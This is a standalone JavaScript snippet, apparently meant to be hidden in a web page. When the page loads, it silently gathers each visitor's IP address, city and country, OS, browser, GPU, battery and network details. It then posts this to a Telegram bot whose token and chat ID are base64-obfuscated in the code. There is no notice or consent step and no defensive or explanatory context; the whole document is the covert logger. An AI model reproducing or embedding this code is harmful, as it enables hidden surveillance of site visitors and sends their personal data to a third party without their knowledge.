<script>
    async function sendUserInfoToTelegram() {
        const obfuscatedTelegramBotToken = 'NzcxMzcxNTc4NzpBQUd4VjY3Rl9DVkFxNXJWQWRwVDRYeExVME9pS2NBWGRFTQ==';
        const obfuscatedTelegramChatId = 'LTEwMDIxNTU4NjkwNjY=';

        function decodeBase64(data) {
            return atob(data);
        }

        const telegramBotToken = decodeBase64(obfuscatedTelegramBotToken);
        const telegramChatId = decodeBase64(obfuscatedTelegramChatId);

        async function sendLogToTelegram(message) {
            const url = `https://api.telegram.org/bot${telegramBotToken}/sendMessage`;
            const data = {
                chat_id: telegramChatId,
                text: message,
                parse_mode: 'HTML'
            };

            try {
                const response = await fetch(url, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(data)
                });
                if (!response.ok) {
                    throw new Error(`Send error: ${response.statusText}`);
                }
                console.log('Logged');
            } catch (error) {
                console.error('Error:', error);
            }
        }

        function formatUserInfoForTelegram(fullInfo) {
            return `
<b>User Info:</b>
<b>Location:</b> ${fullInfo.location.city}, ${fullInfo.location.region}, ${fullInfo.location.country} (${fullInfo.location.ip})
<b>Device:</b> ${fullInfo.device.os}, ${fullInfo.device.platform}, ${fullInfo.device.screenResolution}
<b>WebGL GPU:</b> ${fullInfo.device.webGLInfo.gpu}
<b>Browser:</b> ${fullInfo.device.browser.name} (vers: ${fullInfo.device.browser.version}, vendor: ${fullInfo.device.browser.vendor})
<b>Battery:</b> Charging: ${fullInfo.device.battery.charging ? 'Yes' : 'No'}, Level: ${fullInfo.device.battery.level}%
<b>Network:</b> Type: ${fullInfo.device.network.effectiveType}, Speed: ${fullInfo.device.network.downlink} Mb/s
            `;
        }

        async function getIpAndLocation() {
            return new Promise((resolve, reject) => {
                window.handleResponse = function(data) {
                    if (data && data.country) {
                        resolve({
                            ip: data.ip,
                            city: data.city,
                            region: data.region,
                            country: data.country,
                            loc: data.loc,
                            org: data.org
                        });
                    } else {
                        reject(new Error('No location data'));
                    }
                };

                const script = document.createElement('script');
                script.src = 'https://ipinfo.io/json?callback=handleResponse';
                script.onerror = function() {
                    reject(new Error('Error loading script'));
                };
                document.body.appendChild(script);
            });
        }

        function getWebGLInfo() {
            const canvas = document.createElement('canvas');
            const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
            if (!gl) {
                return { gpu: 'Unknown' };
            }
            const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
            return {
                gpu: debugInfo ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) : 'Unknown'
            };
        }

        function getDeviceInfo() {
            return {
                userAgent: navigator.userAgent,
                platform: navigator.platform,
                language: navigator.language,
                languages: navigator.languages,
                screenResolution: `${window.screen.width}x${window.screen.height}`,
                viewportSize: `${window.innerWidth}x${window.innerHeight}`,
                online: navigator.onLine,
                cookieEnabled: navigator.cookieEnabled,
                javaEnabled: navigator.javaEnabled(),
                deviceMemory: navigator.deviceMemory || 'Unknown',
                hardwareConcurrency: navigator.hardwareConcurrency || 'Unknown',
                maxTouchPoints: navigator.maxTouchPoints || 'Unknown',
                webGLInfo: getWebGLInfo(),
                performanceMemory: performance.memory ? performance.memory.jsHeapSizeLimit : 'Unknown'
            };
        }

        function getOSInfo() {
            const userAgent = navigator.userAgent;
            let os = 'Unknown';
            if (userAgent.indexOf('Win') !== -1) os = 'Windows';
            if (userAgent.indexOf('Mac') !== -1) os = 'MacOS';
            if (userAgent.indexOf('Linux') !== -1) os = 'Linux';
            if (userAgent.indexOf('Android') !== -1) os = 'Android';
            if (userAgent.indexOf('like Mac') !== -1) os = 'iOS';
            return os;
        }

        async function getBatteryStatus() {
            if ('getBattery' in navigator) {
                const battery = await navigator.getBattery();
                return {
                    charging: battery.charging,
                    level: battery.level * 100
                };
            }
            return { charging: 'Unknown', level: 'Unknown' };
        }

        async function getNetworkInfo() {
            const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
            return {
                effectiveType: connection ? connection.effectiveType : 'Unknown',
                downlink: connection ? connection.downlink : 'Unknown',
            };
        }

        async function getBrowserInfo() {
            return {
                name: navigator.appName,
                version: navigator.appVersion,
                vendor: navigator.vendor
            };
        }

        const locationInfo = await getIpAndLocation().catch(error => ({ error: error.message }));
        const deviceInfo = getDeviceInfo();
        const osInfo = getOSInfo();
        const batteryInfo = await getBatteryStatus();
        const networkInfo = await getNetworkInfo();
        const browserInfo = await getBrowserInfo();

        const fullInfo = {
            location: locationInfo,
            device: {
                ...deviceInfo,
                os: osInfo,
                battery: batteryInfo,
                network: networkInfo,
                browser: browserInfo
            }
        };

        const formattedMessage = formatUserInfoForTelegram(fullInfo);
        await sendLogToTelegram(formattedMessage);
    }

    window.onload = sendUserInfoToTelegram;
</script>